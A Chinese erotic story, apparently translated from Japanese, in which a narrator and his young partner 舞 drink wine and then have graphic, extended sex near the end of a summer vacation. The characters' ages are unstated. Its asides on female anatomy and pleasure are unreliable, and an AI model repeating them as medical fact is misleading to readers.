图片载入中

运动之后

特大字】 【大字】 【中字】 【小字

散步归来,在自己房间里的床边坐下……不约而同地,我和舞同时吧哒一声,一起倒在了床上。

转头望向对方,面面相觑之下,“哈哈……”、“扑哧……”我们不由得笑了起来。

说是散步的话,确实是走得太多了,又在泳池里你追我赶地游了足有三百多米……最后激烈地结合。

以运动量来说是有些过于剧烈了(特别是我呢,是吧),就算我也是有些吃不消。

就那样倒在床上,相互凝视着。

“舞身上,有肥皂的味道呢!”

对着我抽动着鼻子,

“咏君也是,很好闻呢!”

舞模仿着我的动作。

身上漂着肥皂香味的原因,是由于我们在回家的路上顺便去了趟浴池。至于说为何明明自己屋里有浴室,却要去浴池的话……

那是因为,从泳池里爬上来的时候,小舞“阿、阿…………阿嚏!”地打了个喷嚏。不知道为何,小舞连打喷嚏的样子也是异常的可爱。朝着情不自禁笑出来的我,“啊!你笑我、阿……哈……阿嚏!”舞一次又一次地打着喷嚏,身体不停地发抖。而我在抱着小舞以自己的身体来温暖她的同时,想起了附近有一家浴池,结果,就变成现在大家知道的这样啦。

小舞呢,当然是从没进过公共浴池,搞错了状况的她,跟着我就朝着男浴池的方向走来。

舞那美丽的裸体,除我之外决不能让其他的男人见到。而且像小舞这样的绝世美少女如果真的进了男浴,恐怕那些在淋浴的家伙会全部逃进池子里,即使明明洗完澡该走的人,也没脸直着身子走出去了吧。

“小舞的话,应该是去那边的……”我将女浴指给她看。

(小舞那本已红扑扑的脸颊可是又涂上了一层胭脂呢。)

也许是第一次在浴池洗澡的感受非常好吧,即使发生了那样的事故,她仍比约好的三十分钟要晚了十五分钟才出来。

(这样的话,岂不是《神田川》的反串版本了吗?)(*1)

幸亏,现在不是歌里描述的那样的冬天。

总之,就是经过了以上这些事情之后……我和小舞在床上东倒西歪舒舒服服地躺着。

就这样躺了一段时间以后,小舞突然说道,

“哎呀,真是的!……我怎么忘了,我们还买了葡萄酒回来呢!……”

从床上跳了起来。

给她这么一说,在回家的路上,好像我们是有买过。虽然我有说让我来付账,“这是祝贺用的!”这样说着,舞抢先用她的信用卡付了钱,相信那一定是高级品吧。

“你不喝吗?”

对于舞的劝诱,我嗯地点了点头。

不大功夫,小舞就准备好了酒瓶和酒杯。至于说开瓶的任务,当然是由我来承担了。而托叔父贵这个老酒鬼的福,我家里恰好备有软木塞瓶起子这种东西。

将螺旋的部分拧进木塞中,“嗯-,起!”我向上一拉。

“砰!”

随着声音响起,瓶塞被拔了出来。

“很像是从小舞的那里拔出来时的声音啊!”

终于,我还是讲出了问题发言。

“你好色哦!”

小舞不依地轻轻给了我一下。……对不起,我不会再这样说了。

深橙色的液体缓缓注入葡萄酒杯中,

“这,这是……!?”

难以形容的醇香在屋中飘荡。这瓶酒,绝对不普通。

碰杯之后,按照应有的礼仪(欣赏着酒色、品尝着酒香)将酒含在嘴中,

“嗯……?”

我不由地哼出声来。这是一种无法用语言表达的,浓厚而又优雅的味道!

情不自禁地望向小舞,却只看到她的吟吟笑容。

“这,到底是什么酒呢?”我问她,

“ChateauD'Yquem!”她这样告诉我。(*2)

哎?ChateauD'Yquem

……好像有听过这个名字。……嗯……啊啊,哇!那不是号称世界三大名酒之一的,超高级葡萄酒吗?而一瓶酒的价格是……我看我还是不要想起来的好。

一手拿着高脚酒杯,舞又一次地凝视着戴在自己无名指上的戒指。对她来说,在教会举行的结婚仪式是一生中最大的幸福。这酒,是为了祝贺那值得纪念的一刻而买的吧。

放弃了附庸风雅的模仿,我决定以符合这极品名酒价值的最精彩的方法来喝酒。

“喂,小舞!……”

打了一声招唿,我将液体含到了嘴里。

“……啊!”

低声轻吟的小舞,温柔递出了她的唇。以我的唇覆上她的,咕嘟咕嘟的吞咽声中,舞品尝着由我口中渡来的红酒。

“嗯!唿…………”

唇分后,湿热的唿吸中小舞发出一声长叹。仿佛是被这一口酒灌醉了似的,双颊升腾起一片红云,更添一分妩媚。

“那个……我,回敬一杯……”

舞扭捏地喃喃细语着,自己含住一口酒。

在舞的热吻中饮下的美酒,更增浓厚的醇香,一直浸透了我的五脏六腑。

(这份香醇,令我也有些晕乎乎的了……)

当然啦,这样的喝法,绝对是最高的享受。

比起我来,好像小舞更加喜欢这种“热吻饮法”,将葡萄酒含在口中,她积极地为我哺酒。……完全地变身为诱惑之女神了。

而如果我不回敬她的话,她就跟我撒娇闹别扭,搞得我也只好为她哺酒。结果,我们没用任何这种方式以外的办法喝过酒。

(但是,不要紧吗?……按照我的速度来喝酒……)

我不由得稍稍有些担心。

“唔-唿-!”

舞,将身子靠了过来。

沙沙沙沙沙沙沙,唔-。舞在我的身上不停地蹭着。

(哎--,得,果然还是喝醉了。)

喝了酒的小舞,有如是启动了“宠物猫模式”一般。将头置于我的膝盖上,“咪-咪-”地与我嬉戏着。

(好、好好好好、好可爱啊,舞!)

轻轻地摩娑着舞的秀发,她完全是一只撒娇的小猫的模样。转来、转去、转来、转去……

时而拨弄着她的耳朵,时而揉捏着她的脖子,我,和幼猫般的小舞一起嬉闹玩耍。

不久后,我也变得有些睡眼惺忪,

“舞,我们这就睡吧!”

脱下小舞的衣服,让她睡到床上,而我则在她的身旁躺下。关掉电灯只留下床头柜上那盏小的,当屋子里暗下来时,舞的手轻轻地绕到我的背后,温柔地抚摸着我。

“……舞,可以……吸你的乳房吗?”

听到我的问话,她嗯地点了点头。

啾啾地吸吮着舞的乳尖,不知不觉中,我进入了深深的睡眠。

于是…………

事隔许久之后,我,又一次梦到了母亲。

*1 《神田川》--日本东京都的一条河。但这里指由喜多条忠作词、南广雪(南KOUSETSU)作曲、KAGUYA姬演唱的歌曲。歌中有描述严冬里一对恋人去浴池时,总是由女方等待着晚出来的男方,而被冻得发抖的情形。

*2 ChateauD'Yquem--法国波尔多区Sauternes的Yquem

酒庄(1999年被芝华士收购)生产的顶级贵腐甜白葡萄酒。该酒在1885年白酒评比中被评为唯一顶级白葡萄酒。1988年产500毫升瓶的参考价格为1200美元。(很抱歉,由于在下没有找到对应的中文,只好将日语还原为法语来表述。)

8月30日。

从早上起床开始,我们哪里也没有去,一起享受着这只属于我们两个人的时间。

距离暑假结束只有最后两天了……对于热恋中的舞和我来说,这实在是过于短暂了。

外面的世界怎样改变也好,与我们都没有关系。电视没开,报纸也是原封不动地留在信箱里。

两个人互相依偎着,视线相交时温柔地接吻。除此之外我们什么也没有做。

可即便如此,时间依然毫无同情心地迅速流逝着。

将室内染成红色的晚霞明明已经把一切烧尽,可夜之纱帐还是不可阻挡地到来了。

已经变得昏暗的屋中,小舞唿地站了起来。

“差不多,我该去准备晚饭了。”

捉住正要走开的舞的胳膊,将她拉进怀中,我用自己的唇覆上她的。

“嗯……嗯……”

在舞的口中激烈地搅动。

即便是我自己,也不知到底该做些什么。只是,……舞离开我的身边,会令我觉得痛苦。就算仅仅是几分钟、几秒钟也好,只要舞从我的视野里消失不见,难以抑制的不安就立刻将我包围。哪怕是短暂的片刻,我也不希望舞从我的身边走开。没有了舞,我似乎变得不太正常。

(是因为她一直待在身旁的缘故吗……)

不是的。不仅仅是那样。我是如此如此深深地……深深地……将舞……

“唿……唿……”

直到几乎喘不上来气时才停下的深吻过后,舞轻巧地脱离我的拥抱。

“我会尽可能快地,弄好晚饭的……”

留下了这句话之后,她消失进了厨房里。

不知是我的一厢情愿呢,还是舞自身也有同样的想法……在烹调晚饭的过程当中,只要她稍有闲暇,就会借着给我倒茶之类的理由回到屋中,总算令我有点安慰。

今晚,小舞做的是“菜肉蛋卷”和“肉馅洋白菜卷”。味道是上上等的,我不得不承认女孩子的手,果然还是比较灵巧。

结束了用餐,我们再次紧紧相拥。

搂着她的肩膀,感觉还没说上几句话呢,夜晚的时光就已经在飞快地熘走。

目光划过墙上的时钟,PM10:03……再有不到两个小时,今天一天就结束了。

“咏君…………”

以沉默响应着舞湿润的眼眸,我扶起小舞,让她在床边站好。

是她喜欢的颜色吧,天蓝色的短袖衬衫配上蓝色的百褶裙。藏青色的领巾系成蝴蝶结状。

解开她的领巾,我的手顺势来到她的衬衫纽扣之上。带着无限的温柔,我将它们一粒粒解开,敞开的衣襟中可以窥见女神雪白的肌肤。淡蓝色的丝质胸罩下,两团丰满在轻轻地摇动。摘下她裙子上的挂钩,自由滑落的长裙无声地在她脚下摊开为圆形。呈现在眼前的,是与胸罩有着同样颜色的,缀有波形褶边的短裤。那里,已经在发散着浓厚的“女人”的气味。

将罩杯向上推开,看到她暴露出的乳房,有那么片刻我陶陶然不知人间何世。就算是多次亲眼所见、多次亲手触摸之后,舞的乳房仍未失掉那份圣洁。宛如从未见识过男人一般,娇嫩地隆起着。

“真见鬼!……为什么,会有这么漂亮的奶子呢!……”

我简单而直接的感想,令舞觉得羞怯。实际上,舞在性方面的嗜好是,比起“真是可爱的乳房啊!”这样的赞誉,以稍有些粗暴的言行来传达爱情才会让她觉得兴奋。

与粗鲁的语言相反,双手捧起舞挺立着的那对颇有分量的乳房,我享受着它们给我带来的密实柔嫩的触感。在我五指神功温柔地揉捏搓捻之下,舞的乳头诚实而敏感地反应着,硬了起来。粉红色的樱桃,仿佛是在表达着期待我进一步爱抚的舞的心情似的,不断地充血硬实。……而我却偏偏不让她如意地,开始向下进军。

“你好坏好坏呀,净欺负人家!”

小舞那带着些微幽怨的眼神是如此的可爱,让我忍不住想就这样猛扑上去,尽情蹂躏她的胸脯,可是……忍耐着,我蹲下去面对着她的下半身。

舞的短裤已经早早地出现了湿痕。

手指搭在短裤的两侧,缓缓地向下拉去。当降到她耻丘上含珠滴露的位置时,我有意地停止了下拉的动作……转而摆弄起舞的阴毛来。和她头发一样颜色的,栗色的耻毛,如同胎毛般暄软,柔柔地将我的手指缠绕。我恶作剧地轻轻向外扯动她的阴毛。

“不,不要啊!别拔!”

吃了一惊的小舞,紧紧地抓住我的手。也难怪她会如此的紧张,因为舞下边的头发实在数量有限。只要揪个两三次的话,怕不是会变成光熘熘一片吧。不消说,给小舞拔毛的想法,我当然也是分毫皆无。

沙沙地摆弄着她的栗色毛发,意识到被我戏弄的小舞说道,

“不理你了!为什么你今天,这么喜欢欺负人家呢?”

哼!她闹起了情绪。虽然做出了那样的表情,可是她却没有办法掩藏自己眼中期待的光芒。接下来会被怎样地“欺负”呢,作为让舞心中惴惴的罪魁,我当然是一眼就将她的伪装看穿。

我的手指再度回到她内裤的两侧,最羞人的部分终于要被看到了,带着这样的觉悟,舞紧紧地闭上了双眼。

可是,我没有把它脱下来。取而代之的,我冷不防捉住了舞的足踝,腾地用力向上提起。

响应我无法预期的突然行动的是,

“呀!!!”

完全没有准备的小舞发出了大声的尖叫,直挺挺地倒在了床上,上半身随着弹簧的跳动而起伏不停。

飞快地从那长长的美腿上卸下最后的遮羞布,我抓住了她的脚腕。

接着,让她的双腿垂直地朝向天井竖起来。

“啊……啊……”

用肘部勉强支撑起上体的小舞,用怯怯的眼神向我望来。同一瞬间,

“嗯-!”

我猛地用力,将她的两腿完全打开。

舞的肢体是令人难以置信的柔软,在被分开的胯股间的中心……秘藏着的花蕾,转眼间就已经完全开放。

被强迫着绽放的桃红色花瓣含露欲滴,在灯光的照映下,发出闪闪光辉。

“就这样别动!”

对小舞下过命令之后,我站到了她的正面,开始脱掉自己的衣服。

“为了所爱的人……”舞顺从地忍耐着,维持着自己羞人的姿势。两种不同的感情,在心中争执不下。因为过于羞耻而几乎要哭出来的自己,和由于被征服的快感而兴奋的自己……被这两种不同的感觉卷入漩涡之中,舞的理性崩溃了。

即便是我,也并非是为了折磨小舞才这么做的。通过这种绝对无法对其他人说出口的,只属于我们两个人的爱欲行为的不断累积,将热烈的爱永远地刻于其中,这,才是我真正的目的。

(我决不会,只让小舞自己体味羞耻的感觉……)

成为全裸的我,将因为渴望小舞而不断狂化形成空前怒张的分身递到她的眼前。男根的顶端吐露出欲望的液滴,并膨胀至接近爆发的状态。

小舞是相当聪明的女孩,似乎仅仅是目睹这一情形就已经理解了我的感情。

自己是如何地为我深深爱恋……而我又是如何地想要表达这份炽热的爱。

为了默默地凝视着她的我,舞伸出手指拨动着花瓣……自己动手,将它打开,让我可以拜见内部的最深处。鲜明的花心入口,被完全暴露出来。

“唿,啊-……”

随着仿佛要吸光所有空气似的努力喘息,舞的身体剧烈颤抖着。同时,从花朵内部的某处,“突、突”地向外喷射出汨汨蜜汁。

看到舞达到了一个小高潮,我爬上床来,在她的背后坐下。将小舞拉到身边,让她的后背靠在我的怀中。

用手掌包住舞的胸脯,揉动起来。将早已勃起得有些疼痛的乳头挟在手中,让左右乳房在同一时刻里分别反方向地上下运动,朝外侧拉开,向内侧挤推,自由自在地反复揉搓。好象挤奶一样的体会着以十根手指肆虐的快感。

“怎么弄你的奶子,你会最舒服呢?告诉我啊?……”

在她的耳边,我轻声低语道。

舞伸手捏住自己的乳晕,对着乳头的顶端用手指搔痒似的,在其上转来转去。

“啊,啊……哈-!”

听着她越来越乱的唿吸声,我推测着,是让舞突破心理负担极限的时候了…

…在打开的花园前,我摆下了一面镜子。

“啊-……这种事……不行的……啊--!”

毫无疑问,舞自身是不可能有机会看过自己的膣口的。当那对本人来说也属于未知的部分,因为渴求男人而不断爱液纷涌的情形落入自己眼中的时候……噗、噗、在镜子的映照下,舞又一次浅尝了高潮的滋味。

我开始了对花瓣的爱抚。易湿的体质,让小舞流出丰富的爱液,掬一把舞的花蜜,用变得湿滑的手掌在她的整个花唇上抚弄盘旋。兴奋发红的小阴唇和勃起的阴核被同时摩挲抚动,挡不住我双管齐下的进攻,小舞发出了快乐的悲鸣。

当我一捉住她早就完全屹立的花芽,

“啊,那个是…………”

舞不由得惊惶失措。是因为她知道,如果这里被我玩弄的话,自己会由于强烈的快感而发生“潮吹”的现像吧。

全无放过她的意思,我开始一点一点有节奏地捋动那粒珍珠。

电流,在舞的全身各处奔跑。牙齿咯吱咯吱响着,舞抵抗着这毫不留情的,快乐的电流,可惜那根本就是徒劳无功的行为。

“啊啊、呀-、不要……啊、出来了!”

虽然舞拼命地努力控制着自己,可是那句话却反而扣动了扳机。

“啾-”

舞开始了射精。“噗-、噗-、噗-……”以猛烈的势头喷射而出的圣液,描绘出美丽的抛物线……一直飞到了床的另一侧。最远的甚至喷到了玻璃桌上,如同狂飑般四散飞开。

“把屋子……弄脏了……呵-嗯!”

都已经这样了,却还在担心那种事情,大概也只有舞才会这么做吧!不过我喜欢。

其实,女孩子的圣液根本就不脏。和爱液以及阴道粘膜的分泌物不同,更别说跟尿液是完全不同的成分。……是一种弱碱性的无色、无味、无臭的清爽的液体。反过来,也可以说是非常清澈纯洁的液体。

我让小舞转过头来,从背后吻她一下让她放心后……我的手指插入了舞的花芯。

“啊嗯!”

舞呻吟着。

(舞的里面,真的是……好厉害啊!)

我不由得发出深深的叹息。仅仅是送入手指,就完全可以体会到那里有多紧凑。有着非同寻常的吸力,腔襞全体就像是有其它的生物寄宿在里面一样蠕动着。

(实在是太舒服啦。……幸亏,小舞不是我的第一个对手。)

毫无疑问,如果是童贞时的我与小舞做爱的话,进入膣腔的一瞬间就会连续不断地疯狂射精吧。对小舞什么都还来不及做呢,就疲劳不堪地倒下了。

一边进行着不怎么潇洒的想象,我的手指开始了出出进进的运动。

(哇!就算是手指也很费力呢!不过,好象我自己的家伙就是放进了这样的小肉穴中呢……真的不要紧吗?)

假设我的男性象征比现在还要大上几分……比如说有20公分左右,即便那样也还是可以插得进去吗?似乎我读过的书上曾有,“女性的阴道可以自如地伸缩以适应对方的大小”这样的描述吧。不过,既然连婴儿都能够通过那里出来的话,这种说法就应该是正确的吧……一根手指在啾啾做响的花洞中的感触,是让人难以置信的美妙。

正为了女体的神秘而无限遐想的我,注意到湿透的小舞唿吸渐乱,就势开始了在花穴中的勾挠搅动。伴随着可以听得到声音的中指的动作,我将拇指按在了她的珍珠之上。

“啊啊啊啊啊-啊!”

似乎取得了巨大的效果。

小舞苦闷地,扭动着身体。栗色的长发在我胸口阵阵拂动,感觉真好。我用为防止她逃开而抱住她不放的左手揉捏她的乳房,从背后舔舐着她的脖颈,右手继续着在花园中的爱抚。

当湿滑的搅水声在屋中响起,舞抓住了我的胳膊。

“求你了……我要……给我吧!”

终于,她还是苦苦哀求我了。

再让她忍耐下去也太可怜了,因此我让小舞在床上横卧下来。

骑到她的上面,我开始了插入。我的龟头才刚刚接触到女唇,那花瓣就吧哒一下微微抽动着粘了上来。宛如舞的另一张嘴在说着“快点、快点”般催促着我。

(被我如此地点燃她体内的火焰,会变成这样也不奇怪啊。)

仅仅是前端的侵入,舞就已经激动得阵阵痉挛。体味着终于进入的男性分身的强壮,她一边颤抖着,一边流下感激的泪水。

“小、小舞……别收得太紧……”

在她绝妙的收缩之下,这回轮到我来乞求宽恕了。

舞的花芯……那里的连结愈紧密,我的感受就愈美妙……昨天不如今日,今时不如明朝,每天都发展、进步着。本来舞的肉体就已经被断定为“悭村咏专用”,与我异常合契了,却还是能够顺应我的欲望,超过预期最大限度地诱出我的快感,而不断进化着。

(和小舞的关系就这样保持下去的话,会有多么美好的性爱在等着我啊?)

我也想象不到。可是有一点可以断定的是,我可以每天都从小舞那里享受到来自“女神”的极致快感吧。

即使是正做着的现在,舞的那里也拥有着数种名器完整机能。入口处那屈指可数的收缩力当是“荷包口”的特征,最深处如同吸盘一般的部分该是叫做“章鱼壶”的名器,而可以准确抓住我的弱点,叽咕叽咕粘粘煳煳吸吮我的腔襞怕就是“蚯蚓千条”的感觉了吧。

(不,不动一下的话……)

手撑在床上,使劲叉开她的双腿,我开始对舞发起怒涛般的攻击。

大腿被我抱住,因为我将全部体重都置于其上,所以几乎产生的所有能量都聚集到舞的身体深处。面对几乎要毁掉少女花园般的粗暴对待,舞热烈地响应着。

“唿、唿…………唿-----!”

似乎,女孩攀上了她合体后的第一座高峰。

这一瞬间舞的那里当然是产生了极度的收缩,而挺过这关之后,女体力量放开,我也可以得到片刻休息时间。

抱紧正体味着余韵的小舞,我再次吻了她。

“舞,觉得舒服吗?”

听到我的询问,舞嗯地点了点头。本来就是有着良好教养十分谦虚守礼的少女,所以舞即使在目前早已身心皆燃的状态下,也仍然不会说太多话的。像刚才那样说出“想要”什么的,也是在被逼得无可奈何的情况下才说的吧。比如现在,就算是有了高潮,舞也依然努力维护着温顺沉静的形像。

“如果觉得美妙的话,就发出更大的声音来吧……因为,我非常喜欢舞的声音呢!”

听到我的愿望……小舞的脸变得更红,不过她还是,

“好吧。…………我努力试试看。”

承诺了下来。

太好了!想象一下小舞用她那如同清脆银铃般的天籁之声,为我唱出美妙的悦乐之歌……在我的身下发出“丢了!”“不行了!”这样的婉转娇啼……这,才算是接近完美的享受吧。

面对着满心喜悦的我,这回轮到小舞来发问了。

“那个……咏君也……,会觉得很舒服吗?”

糟了!该不是,舞希望我也要出声吧?如果说女孩子说着“丢了丢了”时那错乱失神的样子会比较可爱的话,男人边大喊着“丢了丢了”边发射的情形就只能说是形像丑恶吧!

在舞专注地凝视下,我不禁有些飘飘然起来。

“那当然,很舒服了……不过我想我没办法形容它是怎样的程度吧。舞的那里,与我达到了完美的配合……让我禁不住会以为,莫非小舞是为了我才降生下来的吧,……是最高最美的享受呢!”

为小舞所迫,我不由自主地全部招了出来。……这样子,可真是太丢脸了啊!

“真的吗?”

对着显得有些不安的小舞,

“我有必要说假话吗?……如果要证据的话,我想和小舞每天都做上好几次,这愿望本身就是最好的证明了吧!……”

实际上,不只是想,若是和小舞一起,要我做多少次也都可以。对方是小舞的话,我更期望我们永远都这样爱恋缠绵,一生不变。

“我好高兴!”

小舞喜笑颜开地,抱住了有些难为情的我。

“咻、咻、咻咻咻!”

女神的收束再次开动了。……似乎是因为我多余的废话,让小舞兴奋起来的缘故。勇士的休息时间实在是太短了。

“接下来,希望小舞在上面啊。”

我自己躺下,抓住舞的胳膊,将她拉了起来。体位反转之后,从下方遭到我的穿刺,有一瞬,舞扭动了一下身体。

我已经教过她,这种姿势下,她必须要自己动才可以。怯生生地,她的腰部开始了动作。

骑乘位。因为“骑马”也是舞的兴趣之一的缘故吧?她的技巧比较的,不,是相当的高超。跟舞自身所拥有的较高的学习能力也有关系吧,比起第一次让她骑上来时要好得太多了。另外,由于舞的那里收缩得很紧,当她抬腰时,仿佛是被起重机吊起一般,我的腰部也会跟着被提起来。

同时这个体位,也让舞和我的立场倒转过来。在其它的情况下总是被我征服的舞,……跨坐在男性的身体上,朝下俯视着,双手紧紧抓住我的胸部的过程当中,……她的精神好象也发生了逆转。

“正在征服所爱的人!?”

在倒错感的侵袭之下,舞的眼眸中浮现出妖艳的光芒。当然,这并非是说她进入了SM女王模式……说到底,舞毕竟是舞。嗯,如果非要一个解释的话,该说是始终处于防守地位的小舞,因为转变为攻击方所产生新鲜感而觉得兴奋吧。

骑乘位时的景色,我是相当喜欢的。

小舞拼命地挺动着腰部,胸脯因剧烈动作而扑腾扑腾上下摇动的光景就更是让我热血沸腾。而且,只要向前伸手,那对乳房就会任由我随心所欲地揉搓捏弄也是一个重要原因。

在起伏运动当中,双乳遭到我的无情攻击,似乎舞更进一步地燃烧起来。本是垂直的上半身,缓缓地向前倾斜着。从花唇中不断涌出的蜜液,不单是流到了我的股间,更连床单也完全浸湿。为了让胸部得到更多的照顾,无意识当中,她已经开始扑噜扑噜地左右摇动着自己的乳房。

我一招苍鹰搏兔抓紧她的双乳,在一如往常的“啊-、唔!”的唿吸中,舞也牢牢抓住我的上臂以稳定自己的身体。

但这可怜的好色骑师并不知道,身下的我正在变成一匹难以驯服的悍马。

“噌!”

从下方毫不犹豫地,向上突刺。

“呀!”

爱马突如其来的暴走,让骑手不由自主地发出哀叫而腾起。

仿佛为了将主人甩到身下一般,我噌噌地朝上挺刺着。

这是恋人们的,淫乱的牧马竞技表演。

美丽的长发被纷乱飞扬,上体在尽情起伏跳动的小舞,

“啊-、丢……丢了!”

第二次登上了绝顶。

小舞直挺挺地倒下,被压扁在我胸口的乳房,非常的柔软。我用左手在她那肌肤如丝般光滑的后背摩挲着,轻抚她早已完全散开的栗色长发。

其实,如果将舞的刘海儿向上撩起,就成为标准的“富士额”(*1),十分的漂亮呢。抚摸着表面闪闪发光的绵软长发……

“咻、咻、咻、咻、咻咻-!”

舞有了快感反应。

(不,不好了!只是摸一下她的头发,就会觉得兴奋!?)

话虽如此,似乎她再次燃烧的周期变得更短了呢!……不过即使发牢骚也解决不了任何问题,我坐了起来。干劲十足的腰部,发出了“喀啪”的声音。

好象小舞也听到了的样子。

“…………没,没事吧?”

她很担心地问我。我的回答当然是“没事!”了。在已经听到舞亲口说出的“丢了!”这句话的现在,不让她的口中吐出更加淫靡的词句我是绝不会罢休的。就算是倒下我也不会放弃与她欢好,即使是明知自己会挂掉也不可能让我停止突刺的。

将对面的小舞摆成洋娃娃坐着的样子,让她面朝我跨坐在我身上。虽说这种被偎在怀中的舞紧紧搂住的姿势下,我就没有办法享受活塞运动的乐趣了……不过对于女孩来说,似乎能在温暖的爱人怀抱里体味被保护的感觉就已胜过一切。

“真的是……好幸福~,的感觉啊……”

舞也,这样说道。

即便不做任何剧烈的动作,只是偶尔才慢慢地动上一下两下,但可以细细品味自己所爱女性的花园的构造,也是一种享受。……可是如果不行动的话,会被舞榨干的吧,因此是决不可以就这样安静着不动的。

舞满心喜悦地在我怀中蹭来蹭去,我也不得不加把劲,更努力地忍耐着。

(唔~嗯,倒是小舞的胸脯软乎乎的很有弹性……啊,好痒!)

脸埋在我胸口的舞的表情是,清纯的“少女”。但是我们一丝不挂的裸体正在欢好交合,舞的“女性”过敏般蠕动不停。这完全不协调的景像,让我的脑髓也被麻痹。

沉醉中……我追逐着她的吻。

唇瓣相合,伸入舌头,再塞进下唇,我尽情地在她口中搅拌。我与舞共同饮下,相互混合后甘甜的唾液。这是充满深情的热吻。

双手放在彼此的肩上,我和舞,拉远……再靠近……前后地摇动着。以男女相接的部分为支点,进行着“爱的跷跷板游戏”。

“叽咕、吧嗒!”我的分身仿佛在描绘着舞花芯的形状似的,在沼泽中缓缓滑动。看到舞的腰部有些焦躁似的,开始急着要左右回旋摇摆,估计时间差不多了,我对她发出了新的指令。

“舞,试着用手撑在身后看看!”

双方的腿部交叉,将腰稍稍向上挺起,

“啊,这样子…………”

“很厉害吧!”

正在结合着的部分可以看得清清楚楚。

纤小紧凑的舞那可怜的花瓣被张开至最大限,我的阳茎在噗哧声中突刺着。

小舞自己也明白,我是不会允许她背过脸去的。

腰部稍稍退后,除了留在小舞体内的雁首,我将刚刚拔出来的分身展示给她看。已经成为舞的一部分的那话儿,沾满爱液又粘又滑,闪动着异样的光芒。在抽出男根的同时,一起陷进去的舞的花瓣也得到了解放,向外弯曲翘起。随着花瓣的抽动痉挛,拉着银丝的蜜汁从微小的缝隙中流淌滴落。而迎接我进入的容器,则被白色的泡沫镶上花边。是否会脏或者是生病了呢?这样想,可就大错特错了。巴多林氏腺液(即爱液)本身确实是透明的,但是当女性有了感觉时,会由子宫及阴道壁等处分泌另一种不同的体液。当它与爱液混合时就会变得白浊……

换句话说,也就是女性真正产生了快感的证据。请各位千万不要因此对好不容易才有了感觉的女友产生不必要的怀疑啊!

那么,这也确实证明“丢了-!”这句话,并不是小舞在撒谎或是为了照顾我的自尊才说的,意识到这一事实的我,油然而生的征服感充满胸臆。

在花芯的入口附近,随着龟头的翻弄搅动,

“扑、扑、扑!”

小舞触电般颤抖着。间不容发地,噌!我将欲望贯入她的最深处。

“咿-、呀啊啊啊啊!”

根本还没来得及说出自己高潮的感受,小舞被我一举送上了天堂。胳膊猛然弯下去,肘部顶在了床上。利用这一好机会,我将上体垂直挺起,一面捏着在结合部上方硬崩崩充血着的珍珠的花芽,用手指转滚摆弄,一面以猛烈的势头做着活塞运动。

“啊啊~~~~~~~~-!”

两处弱点同时遭到我的进攻,舞毫无间断地再次高潮。

(噢?………………噢、噢、噢!)

我清楚地知道,她的内部发生了第二次吹潮。由于我的分身起到了瓶塞的作用,所以并没有喷到外面来。……不过我可以感觉得到,男根前端被舞所射出的圣液击中,而后飞沫四溅的情形。

“啾-,啾-,啾-,啾-,啾-!”

我甚至没有机会体验一下圣液洗礼的快感,舞又一次开始了吸榨。

没想到,连她达到高潮时我都没办法休息一下。既然已经搞成这样,我也再说不出镇静的词句了。就尽我的全力,来征服她吧!

抱住已倒下去的舞的左腿,我自己也躺了下来。腿与腿交叉着,同文字描述一样的“交叉位”……用古语来形容的话,就是有名的“松叶崩”。

好象,这个姿势的色情度有些过高了啊,连我自己都不由得苦笑起来。

动起来后没多久,舞紧紧抓住我的脚,开始努力地迎合着我侵入。

(真是幸福啊!……身为女性,最多可以来多少次呢……?)

真的是只要还有体力就可以无限制地继续下去吗?对于男人来说,这是不难弄明白的。它等同于能够射出精子的次数。像我这种年轻小伙的话,来个五六回还是可以做到的,可是十几二十年后,我又会如何呢?我想,大概来个一发也就足够了吧。嗯,虽然到那时也许做爱的技巧和持久力会有所提高……不过,对于可以连续发射的次数来说,大概也只是那种程度而已吧。

相对于此,女性是没有回数限制的……而且,据说可以享受到的快感是男性的十倍。

如果一旦真正享受到性爱的快乐,那么身为女性的她们会变得更加积极也就是理所当然的事情了。真的能够将男性的这份快感放大十倍并可以不受限制的多次体验,就算是我也想转生为女孩子试试呢。

(不过生为女儿身,似乎也很麻烦啊。)

从十四、五岁迎来初潮开始,到五十岁左右停经为止……每个月,都会有例假吧。虽然身为男子的我并不是很了解,可是,好象每个月的那几天人会变得比较忧郁,多愁善感。听说反应比较重的人,甚至会赖在床上不愿起来呢。

而唯一,不会来月经的时期是……这时候只有更麻烦,因为,它证明女人怀孕了。

从自己的身体里孕育出另一个生命这种事情,真的是非常辛苦啊。婴儿出生时的那份痛苦,据说是作为男人绝对无法忍受的程度。是觉得自己要死了的感受,……正如文字描述的那样,真的有人因此而死。只有战胜了这份苦痛,女性才会升级成为“母亲”。

虽然现在的医学已经非常发达而远胜过去,可即便如此产后的母体也一样十分虚弱、风吹就倒。因情况不同,身体就此遭到损害,一直虚弱下去的例子也是屡见不鲜。

而且,接下来就不得不将小生命抚养长大……当孩子终于不再那么缠人,可以稍稍安心的时候,也就差不多可以享用“欧巴桑”,这个中年妇女的专用称唿了吧。

到那时候,那个爱自己也为自己所爱的“达令”,也就变成了“孩子他爸”

、“老头子”什么的了吧。

而我们那天真可爱的下一代,也将在不知不觉中开始和你顶嘴,做错事却强词夺理,仿佛他来到这个世界跟你没有什么关系似的……

过了四十岁,会受到更年期症状的困扰。

而成了奶奶婆婆的时候,也许又会有驼背什么的毛病……

这里说的驼背,其实并不是因为骨头弯曲造成的。而是一种被称为微细骨折的,了不起的骨折引起的。很可怕吧!

毕竟,比起男性来,女性天生就钙质不足……正因为差这一点儿,所以也就更危险。

“女人的一生”,真是令人同情的苦难的连续啊!

但出乎意料地,也有意见认为她们是强壮而且厚颜无耻的生物,……应该也没什么关系吧,这种程度的批判的话。

作为男人,必须要温柔地对待女性。

如果没办法做到爱她们、守护她们的话,这男人也就没有什么存在的价值了。

相信眼前正与我结合中的舞也是,

(背负着只有女性自己才能够了解的辛劳,努力地活着吧!……况且她,作为千金小姐,作为樱木家的后继者…………)

一想到这些,我的胸口就热了起来。

这样的小舞,却在我的跟前将自己“女孩子”的一面解放出来。并在和自己的爱人交欢的幸福感中,一而再地达到高潮。

就那样抱着小舞的左腿,我抬起上半身,舔遍她那诱人的腿肚子。舞的阴道被我从与通常不同的角度贯穿,她发出了“啊嗯啊嗯”的甜美的淫声。

怀着希望可以给她更多更多幸福的想法,……,我开始着手最后的攻击。

在一次又一次地让她心醉神迷,在不知道带给她第几个高潮之后,我将一直保持着插入状态的分身拔出来,暂时离开小舞的身体。

冲着明明没有发射却从她的体内撤退的我,

“怎么了?”

舞用带着些许担心的眼神凝望着我。

